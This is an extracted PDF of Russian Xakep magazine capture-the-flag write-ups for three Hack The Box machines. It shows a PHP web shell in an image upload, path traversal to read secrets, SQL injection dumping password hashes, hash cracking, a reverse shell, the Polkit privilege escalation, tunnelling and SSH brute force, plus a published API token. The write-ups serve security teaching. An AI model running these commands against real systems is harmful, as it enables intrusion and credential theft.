книги хакеры / журнал хакер / xa-279_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
← |
|
|
|
|
|
|
|
|
||||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ПЕНТЕСТИМ ВЕБ-СЕРВЕР НА PHP
Видим , что в обработ чике на один параметр больше , чем отправляет ся через форму . Значит , мы можем добавить role и задать любую роль. Это должно дать нам привиле гиро ван ный контекст .
Новый запрос
Ответ сервера
В итоге мы получаем ответ со всеми перечисленны ми параметрами , а на самой странице появляет ся ссылка на панель админис тра тора .
Главная страница админис тра тора
ТОЧКА ОПОРЫ
С панели админис тратора нам открывает ся функция загрузки аватара .
Форма загрузки файла
Мы знаем , что это должен быть файл с расширени ем jpg. Но вот только его содержимое не проверя ется , поэтому мы можем записать туда код на PHP и затем попробовать выполнить . Запишем следующий простой PHP-шелл, выполняющий принятую команду , и загрузим файл на сервер .
echo '<?php echo system($_GET["cmd"]);?>' > test.jpg0
Сообще ние о загрузке файла
Файл успешно загружен , теперь определим ся с именем , под которым он сох ранился на сервере . Для этого вспомним принцип , по которому он формиру ется.
Код формирова ния имени загружен ного файла
Единствен ная переменная , которую нам осталось получить, — значение фун кции time(). Эта функция возвра щает количество секунд, прошед ших с 00:00:00 01.01.1970. И если мы знаем время загрузки файла , установ ленное на сервере , мы сможем получить это значение . Так как вся работа выполняет ся через Burp, в истории запросов найдем HTTP-заголовок ответа сервера . В заголовке Date будет указано нужное нам время .
HTTP-заголовок ответа сервера при загрузке файла
Теперь мы можем получить значение MD5 от сложения всех строк:
echo md5('$file_hash' . strtotime("Wed, 05 Jan 2022 13:19:51 GMT"));
Расчет первой части имени файла Нам нужно обращать ся к файлу вот с таким именем :
e3879d6c6425db4ad6e139681d11693d_test.jpg0
Попробу ем с помощью нашего хеша выполнить базовую команду id.
curl 'http://timing.htb/image.php?img=images/uploads/
e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=id'
Выпол нение команды id
Коман да успешно выполнена , что означает получение доступа к хосту .
ПРОДВИЖЕНИЕ
Для дальнейше го продвижения нам необходимо найти учетные данные . Для этого предсто ит изучить файлы в каталоге веб сервера , всевоз можные резервные копии и другие пользователь ские файлы . Так находим бэкапы исходников в каталоге /opt.
Содер жимое каталога /opt
Копиру ем архив в каталог веб сервера и легко скачива ем через браузер .
curl 'http://timing.htb/image.php?img=images/uploads/
e3879d6c6425db4ad6e139681d11693d_test.jpg&cmd=cp+/opt/
source-files-backup.zip+./'
Скачива ние исходных кодов через браузер
В архиве присутс тву ет каталог с расширени ем git. Это позволит нам получить доступ к истории изменений файлов .
Содер жимое архива
Для удобной работы с репозитори ями Git можно использовать графичес кий просмот рщик gitk. Он помог найти изменение пароля для подклю чения к базе данных .
Изменение в файле db_conn.php
А вот уже с этим паролем удается подклю чить ся по SSH и забрать первый флаг.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первым делом проверя ем наиболее вероятные места повышения привиле гий: настрой ки sudoers, приложе ния с выставлен ным битом SUID, прос лушиваемые на локалхосте порты . Проверим sudoers командой sudo -l.
Настрой ки судоера
В настрой ках прописан привиле гированный запуск /usr/bin/netutils без ввода пароля (NOPASSWD). Просмотрим тип файла .
Определе ние типа файла /usr/bin/netutils
Это обычный скрипт. Давай глянем на его содержимое .
Содер жимое файла /usr/bin/netutils
Это пользователь ское приложе ние на Java. Но так как оно расположе но в каталоге рута, мы не можем получить доступ к самому файлу и деком пилировать его, чтобы изучить . Тогда давай хотя бы запустим программу и посмотрим , как она работает .
Меню приложе ния
Нам предлага ют выбрать одну из опций: FTP или HTTP. После чего с указан ного ресурса загружа ется файл.
Сообще ние о загрузке файла
Посмотрим , что происхо дит с процес сами в системе при выполнении этого приложе ния . Для отслежива ния процес сов будем использовать pspy64. Заг рузим его на хост:
scp ./pspy64 aaron@timing.htb:/tmp/0
И выполним . В выводе видим запуск скрипта , но, что более интерес но, после указания адреса для загрузки использует ся программа axel в контек сте пользовате ля с UID=0, а это пользователь root.
Логи pspy
Я сразу попробовал выполнить инъекцию команды ОС, но это ничего не дало.
Тестирова ние OS Command Injection
Однако мы можем конфигури ровать axel и управлять некоторыми его параметрами , к примеру именем файла и каталогом для его сохранения . Недолго размышляя , пробуем сохранить файл как публичный SSH-ключ поль зователя root. Для этого в домашнем каталоге текущего пользовате ля сох раним файл .axelrc со следующим содержимым :
default_filename = /root/.ssh/authorized_keys0
Файл конфигура ций axel
На локальном хосте сгенери руем пару ключей (ssh-keygen) и переиме нуем публичный , чтобы он назывался index.html. Запустим простой веб сервер на Python:
python3 -m http.server 800
А затем обратим ся к нему из тестиру емо го приложе ния .
Запись SSH-ключа
Видим сообщение с именем сохранен ного файла , пробуем подклю чить ся с закрытым ключом и получаем контроль над хостом .
Флаг рута
Машина захвачена , и у нас есть флаг рута.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПЕНТЕСТИМ WORDPRESS
И ЭКСПЛУАТИРУЕМ БАГ В POLKIT
В сегодняшнем райтапе мы проэкс плуати руем уязвимос ти в популярной CMS WordPress, корпоратив ном мессен джере RocketChat, а также разберем одну из самых нашумевших уязвимос тей — Polkit LPE. Все это в рамках легкой машины Paper
с площад ки Hack The Box.
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.143 paper.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Скрипт нашел три открытых порта : 22 — служба OpenSSH 8.0, 80 и 443 — веб сервер Apache 2.4.37. Обычно в SSL-сертифика те можно подсмот реть новые доменные имена в поле commonName, но не в этот раз.
Главная страница сайта
ТОЧКА ВХОДА
При пентесте веб сервисов лучше всего работать в Burp. Полезно , к при меру, что в Burp History можно будет просмотреть всю цепочку пользователь ских запросов и ответов сервера . Так, в HTTP-заголовке X-Backend-Server находим еще один домен — office.paper.
Запросы в Burp History
Тоже добавляем его в /etc/hosts.
10.10.11.143 paper.htb office.paper
И на этом домене находим новый сайт.
Главная страница ofce.paper
И снова Burp History нам помогает — по страницам , к которым обращает ся наш клиент , мы определя ем , что на машине установ лен WordPress.
Запросы в Burp History
ТОЧКА ОПОРЫ
WordPress
На сайте несколь ко статей с коммента риями, которые мы можем прочитать . И один из комменти рующих указыва ет, что в черновиках лежат какие то сек ретные данные .
Коммента рий с сайта
Посколь ку мы столкну лись с WordPress, можем восполь зоваться специаль ными утилита ми для работы с ней. В первую очередь нам понадобит ся WPScan — сканер , который автомати чески ищет уязвимос ти в WordPress и установ ленных плагинах .
Переда дим сканеру следующие параметры :
•--url — URL;
•-e ap — поиск установ ленных плагинов ;
•--plugins-detection — способ определе ния плагина . Aggressive — грубое сканиро вание перебором ;
•-t — количество потоков;
•--api-token — полученный с официаль ного сайта API-ключ.
wpscan --url http://office.paper -e ap --plugins-detection
aggressive -t 256 --api-token [...KEY...]0
|
|
|
Обнаружен |
ные |
уязвимос |
ти WordPress |
|
|
|||
|
|
|
|
|
|
|
|||||
И мы находим уязвимость |
, |
которая позволя |
ет читать приват ные |
посты . |
|||||||
По предос тавлен |
ной утилитой |
ссылке мы получим инструк цию , как эксплу ати |
|||||||||
ровать уязвимость |
. |
|
|
|
|
|
|
|
|
Описание обнаружен ной уязвимос ти
Перехо дим к странице /?static=1, и нам становит ся доступным скрытый пост.
Содер жимое скрытого поста
Находим ссылку на еще один домен. Добавим его в /etc/hosts и прос мотрим в браузе ре.
10.10.11.143 paper.htb office.paper chat.office.paper
Панель регистра ции Rocket.Chat
Так мы получаем доступ к панели регистра ции в Rocket.Chat!
Rocket.Chat
Rocket.Chat — это полностью настра иваемый мессен джер на JavaScript c открытым исходным кодом. Так как мы получили доступ к странице регистра ции, то создадим себе аккаунт и авторизу емся.
Главная панель Rocket.Chat
Но мы получаем пустой мессен джер , поэтому идея узнать приват ные данные из переписок сразу отпала . Однако спустя минуту приходит сообщение от бота!
Входящие сообщения Rocket.Chat
В расска зе о себе и своих функци ях бот упомина ет возможность прочитать файл из хранили ща .
|
|
|
Возможнос |
ти бота |
|
|
|
|
|
|
|
|
|
|
|||
Пытаем |
ся получить вымышленный |
файл, и бот выдает нам полный |
путь |
|||||
к предполага |
емо му файлу . И это обычный системный |
каталог. |
|
recyclops file test.txt0
Ошибка чтения файла
Так как бот просто пытается прочитать файл на диске , мы можем попробовать проэкс плу ати ровать уязвимость обхода каталога и прочитать любой другой файл на сервере , к примеру /etc/passwd.
recyclops file ../../../../../../etc/passwd0
Содер жимое файла /etc/passwd
И мы получаем содержимое указан ного файла ! В подобных случаях мы уже должны знать, какие файлы в системе наиболее интерес ны . Первым делом я попытался прочитать приват ный ключ SSH пользовате ля dwight.
recyclops file ../../../../../../home/dwight/.ssh/id_rsa0
Ошибка чтения файлов
Такого файла в системе нет, но зато нам повезло с файлом , содержащим переменные среды выполнения (окружения ) процес са .
recyclops file ../../../../../../proc/self/environ0
Содер жимое файла /proc/self/environ
Среди переменных окружения есть логин и пароль, который также подходит для службы SSH. Логинимся и забираем флаг пользовате ля .
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Пути для дальнейше го продвижения поищем при помощи PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют сис
тему на автомате .
Загружа ем на хост это чудесное средство и выполняем . И сразу же нам сооб щают об автомати чес ки найден ной уязвимос ти CVE-2021-3560.
Вывод LinPEAS
Экспло итов на GitHub много , для их поиска достаточ но просто указать номер
CVE.
Поиск экспло итов в Google
Для понимания уязвимос ти нужно знать, что такое Polkit. Polkit (PolicyKit) — библиоте ка для UNIX-подобных операци онных систем , позволя ет предос тавить непривиле гиро ван ным процес сам возможность выполнять привиле гирован ные операции . Polkit можно использовать вместо sudo, но в отличие
от sudo Polkit не наделяет процесс пользовате ля повышенными правами , а позволя ет точно контро лиро вать , что разрешено , а что запрещено . Эта библиоте ка использует ся утилитой systemd, а значит , и установ лена по умол чанию во многих дистри бути вах Linux.
Суть уязвимос ти в том, что Polkit можно заставить обходить провер ки учет ных данных для запросов D-Bus, повышая привиле гии до пользовате ля root. Эту уязвимость можно эксплу атировать от имени локального пользовате ля, например создать нового привиле гированного пользовате ля. Но чтобы понять архитек туру уязвимос ти, нужно разобрать связь между Polkit и D-Bus.
Как работает Polkit
Как создает ся новый пользователь через Polkit, изображено на схеме ниже. Два процес са над пунктир ной линией работают в непривиле гированном режиме.
Схема взаимо дей ствия D-Bus и Polkit
1.Процесс dbus-send дает сигнал о создании нового пользовате ля про
цессу accounts-daemon.
2. Процесс accounts-daemon получает сигнал через dbus-daemon. При этом dbus-daemon прикрепит к сигналу имя шины.
3.В свою очередь , account-daemon запрашива ет у polkit, разрешено ли соединение c данной шиной для создания нового пользовате ля.
4.Для определе ния polkit запрашива ет у dbus-daemon UID для коннекта .
5.Если UID равен 0 (root), polkit авторизу ет запрос . Иначе polkit отправ ляет агенту аутентифика ции список пользовате лей, которым разрешено авторизо вать запрос .
6.Агент аутентифика ции отобразит пользовате лю диалоговое окно для вво да пароля, который потом отправит polkit.
7. Если polkit все же авторизу |
ет этот запрос , он отправит |
сигнал |
||
к accounts-daemon, а тот уже создаст |
нового пользовате |
ля . |
|
Уязвимость в схеме работы Polkit
Уязвимость находится на четвертом этапе последова тельности. Когда Polkit запрашива ет у dbus-daemon UID коннекта , а этого коннекта больше не сущес твует , dbus-daemon правиль но обрабаты вает эту ситуацию и возвра щает ошибку . Но оказалось , что Polkit неправиль но ее обрабаты вает! Вместо того чтобы отклонить запрос , Polkit поступа ет так, как если бы он исходил от про цесса с UID, равным 0, то есть немедленно авторизу ет.
Эксплуатация уязвимости Polkit
Таким образом , нам нужно запустить dbus-send и уничтожить его, пока Polkit все еще обрабаты вает запрос . Но оказалось , что Polkit запрашива ет у dbusdaemon UID процес са несколь ко раз по разным путям. Большинс тво из этих путей правиль но обрабаты вают ошибку , но один из них — нет! Если убить dbus-send досрочно , то команда будет обработа на одним из «правиль ных» путей и запрос будет отклонен . Чтобы активиро вать уязвимый путь, надо завершить процесс в нужный момент. Поэтому последова тельность действий требует ся выполнить несколь ко раз.
Все это уже реализова но в коде экспло ита . Нужно лишь запустить файл и дождать ся привиле гиро ван ного контек ста .
Мы получаем привиле гии рута и забираем флаг.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
|
||
|
|
df |
-x |
|
n |
|
|
|
|
||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
-x ha |
|
|
|
|
|
ЛОМАЕМ САЙТ НА WORDPRESS
В ОБХОД WAF
В сегодняшнем райтапе мы с тобой снова попентестим WordPress. Проэкс плу ати руем SQL-инъекцию и узнаем учетные данные , потом получим доступ к хосту через уяз
вимость загрузки |
|
файлов , а усложнено |
||||||||
это все будет работающим |
Web Application |
|||||||||
Firewall. Продвинем |
ся и повысим привиле |
|
||||||||
гии, сделав |
туннель |
для |
проброса |
SSH |
||||||
и выполнив |
инъекцию |
в команду rsync. |
||||||||
Все это — чтобы пройти сложную |
машину |
|||||||||
Phoenix с площад ки Hack The Box. |
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА
Добав ляем IP виртуал ки в /etc/hosts:
10.10.11.149 phoenix.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Нашли три открытых порта : 22 — служба OpenSSH 8.2p1, 80 и 443 — веб сер вер Apache. Nmap отобразил для нас поле commonName из сертифика та на 443-м порте , но указан ный там домен нам уже известен.
Главная страница сайта phoenix.htb
Захожу на сайт, и плагин Wappalyzer тут же сообщает , что использует ся WordPress. Поэтому сразу запустим сканер WPScan с полным перебором (параметр --plugins-detection) установ ленных плагинов (параметр -e ap) в 256 потоков (параметр -t). Для автомати ческого определе ния уязвимос тей можно получить на сайте API-токен и указать его приложе нию (это бесплат но). И чтобы нам не вернули ошибку провер ки сертифика та, отказыва емся от самой провер ки (--disable-tls-checks).
wpscan --url https://phoenix.htb/ -e ap --plugins-detection
aggressive -t 256 --api-token
KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks
Резуль тат работы WPScan
Но WPScan, что удивитель но , ничего не нашел. А вот сайт стал выдавать нам код 403 вместо ответов .
Ответ сайта
Это явный признак того, что тут работает Web Application Firewall (WAF).
ТОЧКА ВХОДА
Давай снова запустим WPScan — без агрессивного сканиро вания. По умол чанию он переберет самые популярные плагины .
wpscan --url https://phoenix.htb/ --api-token
KEDNckD8h7Ahn3WzqoSaxy1xa6RuLmx0nCl97cO83Dw --disable-tls-checks
Резуль тат сканиро вания WPScan
Мы нашли несколь ко уязвимос тей в плагине Asgaros Forum.
И еще обязатель но просканиру ем каталоги . Так как каталоги в списке отсортирова ны по популярности и использует ся популярная CMS, то, скорее всего , самые важные каталоги мы найдем еще до блокиров ки. Для сканиро вания используем легкий , но очень быстрый ffuf.
ffuf -u https://phoenix.htb/FUZZ -t 256 -w directory_2.3_medium_
lowercase.txt0
Резуль тат сканиро вания каталогов
Присутс тву ет каталог /forum — видимо, это то, что мы искали .
Страница forum
WPScan не только сканиру ет и определя ет уязвимость , но и предос тавля ет инструк цию по ее эксплу ата ции . Из уязвимос тей наиболее привлекатель на SQL-инъекция без авториза ции .
Детали уязвимос ти Asgaros Forum
Для подтвержде ния уязвимос ти нужно сделать всего один запрос . Обра щаемся к странице forum через Burp Repeater и добавляем параметр
?subscribe_topic=1%20union%20select%201%20and%20sleep(10)0
Если уязвимость сработа ет, то сервер будет отвечать больше 10 с. Это под
тверждает Repeater.
Время ответа сервера в Burp Repeater
Уязвимость подтвержде на , переходим к эксплу ата ции .
Продолжение статьи0 →
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
|
. |
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x ha |
|
|
|
|
ЛОМАЕМ САЙТ НА WORDPRESS В ОБХОД WAF
ТОЧКА ОПОРЫ
Получение учетных данных WordPress
Это time-based «слепая » инъекция , то есть мы не получаем данные из таб лицы в явном виде, а делаем вывод на основании выполнения определен ного условия — в данном случае времени обработ ки запроса . Когда встречаешь ся с инъекци ями такого типа, удобнее всего пользовать ся автомати зиро ван ным средством эксплу ата ции . Нас в этом случае выручит sqlmap.
После первого запуска sqlmap подтвер дил наличие уязвимос ти и сфор мировал нагрузку . Мы можем сузить круг поиска уязвимого параметра , задав опцию -p. Также выставим самый тяжелый уровень нагрузок опцией --risk, ну и если у sqlmap будут к нам вопросы , пусть выбирает самый приори тет ный
(опция --batch).
sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p
subscribe_topic --risk 3 --batch
Резуль тат сканиро вания sqlmap
После того как нагрузка составле на, получим имена и хеши паролей поль зователей . В WordPress все всегда стандар тно: таблица wp_users, столбцы
user_login и user_pass.
Задаем sqlmap новые параметры : база (-D), таблица (-T), названия стол бцов (-C) и команда --dump для получения данных .
sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p
subscribe_topic --risk 3 -D wordpress -T wp_users --dump --batch
Получе ние данных с помощью sqlmap
У нас есть хеши — ломаем их! Но сначала узнаем режим hashcat, распарсив справку .
hashcat --example | grep -A2 -B2 '\$P\$'
Справка hashcat
Получен ный режим указыва ем в параметре -m. У меня ушло около часа для полного перебора , но получаем три пароля.
hashcat -m 400 -a 0 hashes.txt rockyou.txt0
Резуль тат перебора хешей с помощью hashcat
Никакие из полученных учетных данных не подходят к SSH, а WordPress вооб ще использует двухфактор ную аутентифика цию .
Форма провер ки OTP при аутентифика ции в WordPress
Получение активных плагинов WordPress
Здесь я долго думал, что делать дальше , но в итоге вспомнил , что прос мотреть все плагины нам помешал WAF. Зато теперь то мы можем узнать их названия , прочитав столбец option_value таблицы wp_options. Составим запрос так, чтобы в вывод попали только активные плагины .
sqlmap --url 'https://phoenix.htb/forum/?subscribe_topic=1' -p
subscribe_topic --risk 3 -D wordpress -T wp_options -C option_value
--where "option_name='active_plugins'" --dump --batch
Список активных плагинов
В списке присутс тву ет уязвимый плагин Download from fles, для которого есть экспло ит , позволя ющий загружать на сервер файлы .
Описание уязвимос ти Download from fles
С помощью этого экспло ита мы загрузим на сервер популяр ный реверс шелл на PHP. В этой нагрузке нужно указать адрес и порт своего хоста для подклю чения. Не забываем запустить листенер :
rlwrap -cAr nc -lvp 43210
Изменен ный код реверс шелла
Но при эксплу ата ции уязвимос ти получим сообщение с ошибкой провер ки сертифика та .
python3 50287.py https://phoenix.htb shell.phtml0
Ошибка при выполнении экспло ита
В каждый запрос в исходниках экспло ита добавим опцию verify=False, которая должна отключить провер ку SSL-сертифика та.
Изменение кода экспло ита
Изменение кода экспло ита
Теперь повторно выполняем экспло ит и получаем сообщение , что файл успешно загружен .
python3 50287.py https://phoenix.htb shell.phtml0
Сообще ние о загрузке файла
Нам осталось обратить ся по указан ной ссылке , и мы получим бэкконнект на свой листенер .
curl -k https://phoenix.htb/wp-admin/shell.phtml0
Получе ние удален ной сессии
Мы получили доступ к системе .
ПРОДВИЖЕНИЕ
Так как на хосте развернут веб сервер , а на нем работает целая CMS, первое наше действие — попробовать получить какие нибудь учетные данные поль зователей . Высока вероятность , что эти учетки подойдут и для локальных пользовате лей тоже. В случае с WordPress есть место , где учетные данные найдут ся всегда , — файл с настрой ками для подклю чения к базе данных wpconfig.php. Найдем этот файл и просмотрим его содержимое .
find ./ -name wp-config.php 2>/dev/null0
Поиск файла wp-confg.php
Содер жимое файла wp-confg.php
Получа ем еще один пароль. Теперь узнаем активных пользовате лей из файла /etc/passwd и проверим , не подойдет ли для доступа по SSH какая нибудь комбинация из полученных нами логинов и паролей.
|
|
|
|
Содер жимое |
файла /etc/passwd |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|||||||||
Нам нужен пользователь |
editor, |
но авторизо |
вать ся от |
его имени |
никак |
|||||||||||
не получалось |
. Это было очень подозритель |
но , поэтому я решил просмотреть |
||||||||||||||
возможные |
настрой |
ки авториза |
ции . Разгадка |
нашлась |
в файле |
|
/etc/ |
|||||||||
security/access-local.conf. Он содержит правила |
, определя |
ющие |
, каким |
|||||||||||||
пользовате |
лям и с каких адресов разрешен |
вход. |
|
|
|
|
|
|
|
Содер жимое файла access-local.conf
Стоит запрет авториза ции для всех адресов , кроме 10.11.12.13. А это наш второй адрес!
Резуль тат команды ipconfg
Нам нужно туннелиро вать трафик , чтобы подклю чить ся по SSH. Для тун нелирования будем использовать chisel. Загружа ем один и тот же файл на локальный и удален ный хост. А затем активиру ем на локальном хосте сер вер со следующи ми параметрами : порт (-p), опция ожидания подклю чения (- -reverse) и тип прокси .
./chisel.bin server -p 5432 --reverse --socks5
Логи сервера chisel
Подклю чаемся с удален ного хоста . Указыва ем адрес и порт сервера , а также правила ретран сляции трафика : с удален ного порта 2222 на порт 22 хос
та 10.11.12.13.
./chisel.bin client 10.10.14.60:5432 R:2222:10.11.12.13:220
|
|
|
Логи клиента |
chisel |
|
|
|
|
|
|
|
|
|
||
В логах серверной |
части должна |
появиться информация |
о подклю чении |
||||
и создании |
новой сессии . |
|
|
|
|
Логи сервера chisel
Теперь весь трафик с порта 2222 нашего локального хоста будет ретран сли рован на порт 22 хоста 10.11.12.13. Выполним подбор пароля с помощью
CrackMapExec.
crackmapexec ssh 127.0.0.1 --port 2222 -u editor -p passwords.txt0
Резуль тат брута паролей
